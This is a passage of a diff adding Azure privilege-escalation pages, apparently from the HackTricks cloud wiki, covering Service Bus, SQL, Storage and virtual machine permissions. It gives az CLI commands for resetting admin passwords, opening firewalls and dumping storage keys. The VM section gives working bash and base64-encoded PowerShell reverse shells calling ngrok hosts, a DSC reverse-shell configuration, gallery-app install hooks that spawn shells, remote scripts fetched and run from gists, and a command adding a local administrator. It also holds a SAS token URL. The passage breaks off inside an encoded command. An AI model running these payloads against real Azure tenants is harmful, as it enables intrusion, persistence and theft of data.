NAMESPACE_CONNECTION_STR = "<PrimaryConnectionString>"
|
||||
TOPIC_NAME = "<TOPIC_NAME>"
|
||||
SUBSCRIPTION_NAME = "<TOPIC_SUBSCRIPTION_NAME>" #Topic Subscription
|
||||
|
||||
# Function to receive and process messages from a Service Bus subscription
|
||||
async def receive_and_process_messages():
|
||||
# Create a Service Bus client using the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as servicebus_client:
|
||||
|
||||
# Get the Subscription Receiver object for the specified topic and subscription
|
||||
receiver = servicebus_client.get_subscription_receiver(
|
||||
topic_name=TOPIC_NAME,
|
||||
subscription_name=SUBSCRIPTION_NAME,
|
||||
max_wait_time=5
|
||||
)
|
||||
|
||||
async with receiver:
|
||||
# Receive messages with a defined maximum wait time and count
|
||||
received_msgs = await receiver.receive_messages(
|
||||
max_wait_time=5,
|
||||
max_message_count=20
|
||||
)
|
||||
for msg in received_msgs:
|
||||
print("Received: " + str(msg))
|
||||
# Complete the message to remove it from the subscription
|
||||
await receiver.complete_message(msg)
|
||||
|
||||
# Run the asynchronous message processing function
|
||||
asyncio.run(receive_and_process_messages())
|
||||
print("Message Receiving Completed")
|
||||
print("----------------------------")
|
||||
```
|
||||
|
||||
### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
|
||||
|
||||
If you have these permissions, you can escalate privileges by reading or creating shared access keys. These keys allow full control over the Service Bus namespace, including managing queues, topics, and sending/receiving messages, potentially bypassing role-based access controls (RBAC).
|
||||
|
||||
```bash
|
||||
az servicebus namespace authorization-rule update \
|
||||
--resource-group <MyResourceGroup> \
|
||||
--namespace-name <MyNamespace> \
|
||||
--name RootManageSharedAccessKey \
|
||||
--rights Manage Listen Send
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless
|
||||
- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,111 @@
|
||||
# Az - SQL Database Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQL Database Privesc
|
||||
|
||||
For more information about SQL Database check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-sql.md
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
|
||||
|
||||
With these permissions, a user can perform privilege escalation by updating or creating Azure SQL servers and modifying critical configurations, including administrative credentials. This permission allows the user to update server properties, including the SQL server admin password, enabling unauthorized access or control over the server. They can also create new servers, potentially introducing shadow infrastructure for malicious purposes. This becomes particularly critical in environments where "Microsoft Entra Authentication Only" is disabled, as they can exploit SQL-based authentication to gain unrestricted access.
|
||||
|
||||
```bash
|
||||
# Change the server password
|
||||
az sql server update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--admin-password <new_password>
|
||||
|
||||
# Create a new server
|
||||
az sql server create \
|
||||
--name <new_server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--location <location> \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
```
|
||||
|
||||
Additionally it is necesary to have the public access enabled if you want to access from a non private endpoint, to enable it:
|
||||
|
||||
```bash
|
||||
az sql server update \
|
||||
--name <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--enable-public-network true
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/firewallRules/write"
|
||||
|
||||
An attacker can manipulate firewall rules on Azure SQL servers to allow unauthorized access. This can be exploited to open up the server to specific IP addresses or entire IP ranges, including public IPs, enabling access for malicious actors. This post-exploitation activity can be used to bypass existing network security controls, establish persistence, or facilitate lateral movement within the environment by exposing sensitive resources.
|
||||
|
||||
```bash
|
||||
# Create Firewall Rule
|
||||
az sql server firewall-rule create \
|
||||
--name <new-firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <start-ip-address> \
|
||||
--end-ip-address <end-ip-address>
|
||||
|
||||
# Update Firewall Rule
|
||||
az sql server firewall-rule update \
|
||||
--name <firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <new-start-ip-address> \
|
||||
--end-ip-address <new-end-ip-address>
|
||||
```
|
||||
|
||||
Additionally, `Microsoft.Sql/servers/outboundFirewallRules/delete` permission lets you delete a Firewall Rule.
|
||||
NOTE: It is necesary to have the public access enabled
|
||||
|
||||
### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
|
||||
|
||||
With this permission, you can create, modify, or delete IPv6 firewall rules on an Azure SQL Server. This could enable an attacker or authorized user to bypass existing network security configurations and gain unauthorized access to the server. By adding a rule that allows traffic from any IPv6 address, the attacker could open the server to external access."
|
||||
|
||||
```bash
|
||||
az sql server firewall-rule create \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <rule_name> \
|
||||
--start-ip-address <start_ipv6_address> \
|
||||
--end-ip-address <end_ipv6_address>
|
||||
```
|
||||
|
||||
Additionally, `Microsoft.Sql/servers/ipv6FirewallRules/delete` permission lets you delete a Firewall Rule.
|
||||
NOTE: It is necesary to have the public access enabled
|
||||
|
||||
### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
|
||||
|
||||
With this permissions you can privesc in an Azure SQL Server environment accessing to SQL databases and retrieven critical information. Using the the command below, an attacker or authorized user can set themselves or another account as the Azure AD administrator. If "Microsoft Entra Authentication Only" is enabled you are albe to access the server and its instances. Here's the command to set the Azure AD administrator for an SQL server:
|
||||
|
||||
```bash
|
||||
az sql server ad-admin create \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--display-name <admin_display_name> \
|
||||
--object-id <azure_subscribtion_id>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
|
||||
|
||||
With these permissions, you can configure and enforce "Microsoft Entra Authentication Only" on an Azure SQL Server, which could facilitate privilege escalation in certain scenarios. An attacker or an authorized user with these permissions can enable or disable Azure AD-only authentication.
|
||||
|
||||
```bash
|
||||
#Enable
|
||||
az sql server azure-ad-only-auth enable \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
|
||||
#Disable
|
||||
az sql server azure-ad-only-auth disable \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,152 @@
|
||||
# Az - Storage Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Storage Privesc
|
||||
|
||||
For more information about storage check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-storage.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Storage/storageAccounts/listkeys/action
|
||||
|
||||
A principal with this permission will be able to list (and the secret values) of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts.
|
||||
|
||||
```bash
|
||||
az storage account keys list --account-name <acc-name>
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/regenerateKey/action
|
||||
|
||||
A principal with this permission will be able to renew and get the new secret value of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts.
|
||||
|
||||
Moreover, in the response, the user will get the value of the renewed key and also of the not renewed one:
|
||||
|
||||
```bash
|
||||
az storage account keys renew --account-name <acc-name> --key key2
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/write
|
||||
|
||||
A principal with this permission will be able to create or update an existing storage account updating any setting like network rules or policies.
|
||||
|
||||
```bash
|
||||
# e.g. set default action to allow so network restrictions are avoided
|
||||
az storage account update --name <acc-name> --default-action Allow
|
||||
|
||||
# e.g. allow an IP address
|
||||
az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<ip-address>
|
||||
```
|
||||
|
||||
## Blobs Specific privesc
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
|
||||
|
||||
The first permission allows to **modify immutability policies** in containers and the second to delete them.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that if an immutability policy is in lock state, you cannot do neither of both
|
||||
|
||||
```bash
|
||||
az storage container immutability-policy delete \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP>
|
||||
|
||||
az storage container immutability-policy update \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--period <NEW_RETENTION_PERIOD_IN_DAYS>
|
||||
```
|
||||
|
||||
## File shares specific privesc
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
|
||||
|
||||
This should allow a user having this permission to be able to take the ownership of files inside the shared filesystem.
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
|
||||
|
||||
This should allow a user having this permission to be able to modify the permissions files inside the shared filesystem.
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
|
||||
|
||||
This should allow a user having this permission to be able to perform actions inside a file system as a superuser.
|
||||
|
||||
### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
|
||||
|
||||
With this permission, an attacker can create and update (if has `Microsoft.Storage/storageAccounts/localusers/read` permission) a new local user for an Azure Storage account (configured with hierarchical namespace), including specifying the user’s permissions and home directory. This permission is significant because it allows the attacker to grant themselves to a storage account with specific permissions such as read (r), write (w), delete (d), and list (l) and more. Additionaly the authentication methods that this uses can be Azure-generated passwords and SSH key pairs. There is no check if a user already exists, so you can overwrite other users that are already there. The attacker could escalate their privileges and gain SSH access to the storage account, potentially exposing or compromising sensitive data.
|
||||
|
||||
```bash
|
||||
az storage account local-user create \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME> \
|
||||
--permission-scope permissions=rwdl service=blob resource-name=<CONTAINER_NAME> \
|
||||
--home-directory <HOME_DIRECTORY> \
|
||||
--has-ssh-key false/true # Depends on the auth method to use
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
|
||||
|
||||
With this permission, an attacker can regenerate the password for a local user in an Azure Storage account. This grants the attacker the ability to obtain new authentication credentials (such as an SSH or SFTP password) for the user. By leveraging these credentials, the attacker could gain unauthorized access to the storage account, perform file transfers, or manipulate data within the storage containers. This could result in data leakage, corruption, or malicious modification of the storage account content.
|
||||
|
||||
```bash
|
||||
az storage account local-user regenerate-password \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME>
|
||||
```
|
||||
|
||||
To access Azure Blob Storage via SFTP using a local user via SFTP you can (you can also use ssh key to connect):
|
||||
|
||||
```bash
|
||||
sftp <local-user-name>@<storage-account-name>.blob.core.windows.net
|
||||
#regenerated-password
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
|
||||
|
||||
With this permissions an attacker can restore a deleted container by specifying its deleted version ID or undelete specific blobs within a container, if they were previously soft-deleted. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access.
|
||||
|
||||
```bash
|
||||
#Restore the soft deleted container
|
||||
az storage container restore \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--name <CONTAINER_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
|
||||
#Restore the soft deleted blob
|
||||
az storage blob undelete \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--name "fileName.txt"
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read
|
||||
|
||||
With these permissions, an attacker can restore a deleted Azure file share by specifying its deleted version ID. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access.
|
||||
|
||||
```bash
|
||||
az storage share-rm restore \
|
||||
--storage-account <STORAGE_ACCOUNT_NAME> \
|
||||
--name <FILE_SHARE_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
```
|
||||
|
||||
## Other interesting looking permissions (TODO)
|
||||
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Changes ownership of the blob
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifies permissions of the blob
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Returns the result of the blob command
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage)
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,382 @@
|
||||
# Az - Virtual Machines & Network Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## VMS & Network
|
||||
|
||||
For more info about Azure Virtual Machines and Network check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
{{#endref}}
|
||||
|
||||
### **`Microsoft.Compute/virtualMachines/extensions/write`**
|
||||
|
||||
This permission allows to execute extensions in virtual machines which allow to **execute arbitrary code on them**.\
|
||||
Example abusing custom extensions to execute arbitrary commands in a VM:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
- Execute a revers shell
|
||||
|
||||
```bash
|
||||
# Prepare the rev shell
|
||||
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
|
||||
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
|
||||
|
||||
# Execute rev shell
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
```
|
||||
|
||||
- Execute a script located on the internet
|
||||
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
|
||||
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
- Execute a reverse shell
|
||||
|
||||
```bash
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
|
||||
# Execute it
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
|
||||
- Execute reverse shell from file
|
||||
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
|
||||
```
|
||||
|
||||
You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
- Reset password using the VMAccess extension
|
||||
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
It's also possible to abuse well-known extensions to execute code or perform privileged actions inside the VMs:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>VMAccess extension</summary>
|
||||
|
||||
This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.
|
||||
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension:
|
||||
|
||||
```powershell
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
Node localhost {
|
||||
Script ReverseShell {
|
||||
GetScript = { @{} }
|
||||
SetScript = {
|
||||
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
|
||||
$stream = $client.GetStream();
|
||||
[byte[]]$bytes = 0..65535|%{0};
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
|
||||
$sendback = (iex $data 2>&1 | Out-String );
|
||||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||||
$stream.Write($sendbyte, 0, $sendbyte.Length)
|
||||
}
|
||||
$client.Close()
|
||||
}
|
||||
TestScript = { return $false }
|
||||
}
|
||||
}
|
||||
}
|
||||
RevShellConfig -OutputPath .\Output
|
||||
|
||||
# Upload config to blob
|
||||
$resourceGroup = 'dscVmDemo'
|
||||
$storageName = 'demostorage'
|
||||
Publish-AzVMDscConfiguration `
|
||||
-ConfigurationPath .\revShell.ps1 `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-StorageAccountName $storageName `
|
||||
-Force
|
||||
|
||||
# Apply DSC to VM and execute rev shell
|
||||
$vmName = 'myVM'
|
||||
Set-AzVMDscExtension `
|
||||
-Version '2.76' `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-VMName $vmName `
|
||||
-ArchiveStorageAccountName $storageName `
|
||||
-ArchiveBlobName 'revShell.ps1.zip' `
|
||||
-AutoUpdate `
|
||||
-ConfigurationName 'RevShellConfig'
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Hybrid Runbook Worker</summary>
|
||||
|
||||
This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-services/az-automation-account/).
|
||||
|
||||
</details>
|
||||
|
||||
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
|
||||
|
||||
These are the required permissions to **create a new gallery application and execute it inside a VM**. Gallery applications can execute anything so an attacker could abuse this to compromise VM instances executing arbitrary commands.
|
||||
|
||||
The last 2 permissions might be avoided by sharing the application with the tenant.
|
||||
|
||||
Exploitation example to execute arbitrary commands:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group myResourceGroup \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Linux \
|
||||
--location "West US 2"
|
||||
|
||||
# Create app version with the rev shell
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.2 \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group <rsc-group> \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Windows \
|
||||
--location "West US 2"
|
||||
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
|
||||
# Create app version with the rev shell
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgB